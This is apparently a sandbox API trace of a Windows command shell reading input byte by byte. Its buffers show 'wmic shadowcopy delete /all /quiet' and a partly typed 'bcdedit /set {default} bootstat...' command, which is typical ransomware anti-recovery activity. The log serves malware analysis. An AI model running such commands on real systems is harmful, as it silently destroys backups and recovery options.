	[0230.481] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f77781b0) returned 1
	[0230.481] GetProcessHeap () returned 0x1d2f7770000
	[0230.481] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7776c00) returned 1
	[0230.481] _vsnwprintf (in: _Buffer=0x7ff683597f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xc90e98f5c8 | out: _Buffer="\r\n") returned 2
	[0230.481] _get_osfhandle (_FileHandle=1) returned 0x234
	[0230.481] GetFileType (hFile=0x234) returned 0x3
	[0230.481] _get_osfhandle (_FileHandle=1) returned 0x234
	[0230.481] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff683589970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0230.481] WriteFile (in: hFile=0x234, lpBuffer=0x7ff683589970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xc90e98f598, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesWritten=0xc90e98f598*=0x2, lpOverlapped=0x0) returned 1
	[0230.481] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff68358bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0230.481] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1d2f7870080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0230.481] _vsnwprintf (in: _Buffer=0x1d2f7880060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xc90e98f5d8 | out: _Buffer="C:\\WINDOWS\\system32") returned 19
	[0230.481] _vsnwprintf (in: _Buffer=0x1d2f7880086, _BufferCount=0x83d2, _Format="%c", _ArgList=0xc90e98f5d8 | out: _Buffer=">") returned 1
	[0230.481] _get_osfhandle (_FileHandle=1) returned 0x234
	[0230.481] GetFileType (hFile=0x234) returned 0x3
	[0230.481] _get_osfhandle (_FileHandle=1) returned 0x234
	[0230.481] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff683589970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21
	[0230.481] WriteFile (in: hFile=0x234, lpBuffer=0x7ff683589970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0xc90e98f5c8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesWritten=0xc90e98f5c8*=0x14, lpOverlapped=0x0) returned 1
	[0230.482] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.482] GetFileType (hFile=0x228) returned 0x3
	[0230.482] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.482] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.488] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.489] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c30, cchWideChar=1 | out: lpWideCharStr="bmic shadowcopy delete\n /all /quiet\n") returned 1
	[0230.489] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.489] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.489] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.489] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c32, cchWideChar=1 | out: lpWideCharStr="cic shadowcopy delete\n /all /quiet\n") returned 1
	[0230.489] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.489] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.489] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.704] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c34, cchWideChar=1 | out: lpWideCharStr="dc shadowcopy delete\n /all /quiet\n") returned 1
	[0230.704] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.704] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.704] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.704] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c36, cchWideChar=1 | out: lpWideCharStr="e shadowcopy delete\n /all /quiet\n") returned 1
	[0230.704] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.704] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.704] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.705] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c38, cchWideChar=1 | out: lpWideCharStr="dshadowcopy delete\n /all /quiet\n") returned 1
	[0230.705] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.705] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.705] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.705] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c3a, cchWideChar=1 | out: lpWideCharStr="ihadowcopy delete\n /all /quiet\n") returned 1
	[0230.705] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.705] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.705] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.705] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c3c, cchWideChar=1 | out: lpWideCharStr="tadowcopy delete\n /all /quiet\n") returned 1
	[0230.705] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.705] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.705] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.705] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c3e, cchWideChar=1 | out: lpWideCharStr=" dowcopy delete\n /all /quiet\n") returned 1
	[0230.705] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.705] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.705] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.705] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c40, cchWideChar=1 | out: lpWideCharStr="/owcopy delete\n /all /quiet\n") returned 1
	[0230.705] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.705] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.705] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.705] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c42, cchWideChar=1 | out: lpWideCharStr="swcopy delete\n /all /quiet\n") returned 1
	[0230.705] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.705] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.705] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.706] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c44, cchWideChar=1 | out: lpWideCharStr="ecopy delete\n /all /quiet\n") returned 1
	[0230.706] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.706] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.706] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.706] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c46, cchWideChar=1 | out: lpWideCharStr="topy delete\n /all /quiet\n") returned 1
	[0230.706] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.706] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.706] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.706] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c48, cchWideChar=1 | out: lpWideCharStr=" py delete\n /all /quiet\n") returned 1
	[0230.706] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.706] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.706] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.706] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c4a, cchWideChar=1 | out: lpWideCharStr="{y delete\n /all /quiet\n") returned 1
	[0230.706] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.706] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.706] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.706] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c4c, cchWideChar=1 | out: lpWideCharStr="d delete\n /all /quiet\n") returned 1
	[0230.706] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.706] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.706] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.706] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c4e, cchWideChar=1 | out: lpWideCharStr="edelete\n /all /quiet\n") returned 1
	[0230.706] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.706] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.707] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.707] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c50, cchWideChar=1 | out: lpWideCharStr="felete\n /all /quiet\n") returned 1
	[0230.707] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.707] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.707] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.707] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c52, cchWideChar=1 | out: lpWideCharStr="alete\n /all /quiet\n") returned 1
	[0230.707] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.707] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.707] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.707] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c54, cchWideChar=1 | out: lpWideCharStr="uete\n /all /quiet\n") returned 1
	[0230.707] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.707] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.707] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.707] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c56, cchWideChar=1 | out: lpWideCharStr="lte\n /all /quiet\n") returned 1
	[0230.707] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.707] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.707] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.707] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c58, cchWideChar=1 | out: lpWideCharStr="te\n /all /quiet\n") returned 1
	[0230.707] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.707] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.707] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.707] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c5a, cchWideChar=1 | out: lpWideCharStr="}\n /all /quiet\n") returned 1
	[0230.707] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.708] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.708] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.708] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c5c, cchWideChar=1 | out: lpWideCharStr="  /all /quiet\n") returned 1
	[0230.708] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.708] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.708] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.708] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c5e, cchWideChar=1 | out: lpWideCharStr="b/all /quiet\n") returned 1
	[0230.708] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.708] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.708] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.708] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c60, cchWideChar=1 | out: lpWideCharStr="oall /quiet\n") returned 1
	[0230.708] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.708] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.708] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.708] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c62, cchWideChar=1 | out: lpWideCharStr="oll /quiet\n") returned 1
	[0230.708] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.708] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.708] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.708] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c64, cchWideChar=1 | out: lpWideCharStr="tl /quiet\n") returned 1
	[0230.708] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.709] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.709] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.709] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c66, cchWideChar=1 | out: lpWideCharStr="s /quiet\n") returned 1
	[0230.709] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.709] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.709] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.709] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c68, cchWideChar=1 | out: lpWideCharStr="t/quiet\n") returned 1
	[0230.709] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.709] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.709] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.709] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c6a, cchWideChar=1 | out: lpWideCharStr="aquiet\n") returned 1
	[0230.709] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.709] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.709] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.709] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c6c, cchWideChar=1 | out: lpWideCharStr="tuiet\n") returned 1
	[0230.709] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.709] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.709] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.709] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c6e, cchWideChar=1 | out: lpWideCharStr="uiet\n") returned 1
	[0230.709] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.709] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.710] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
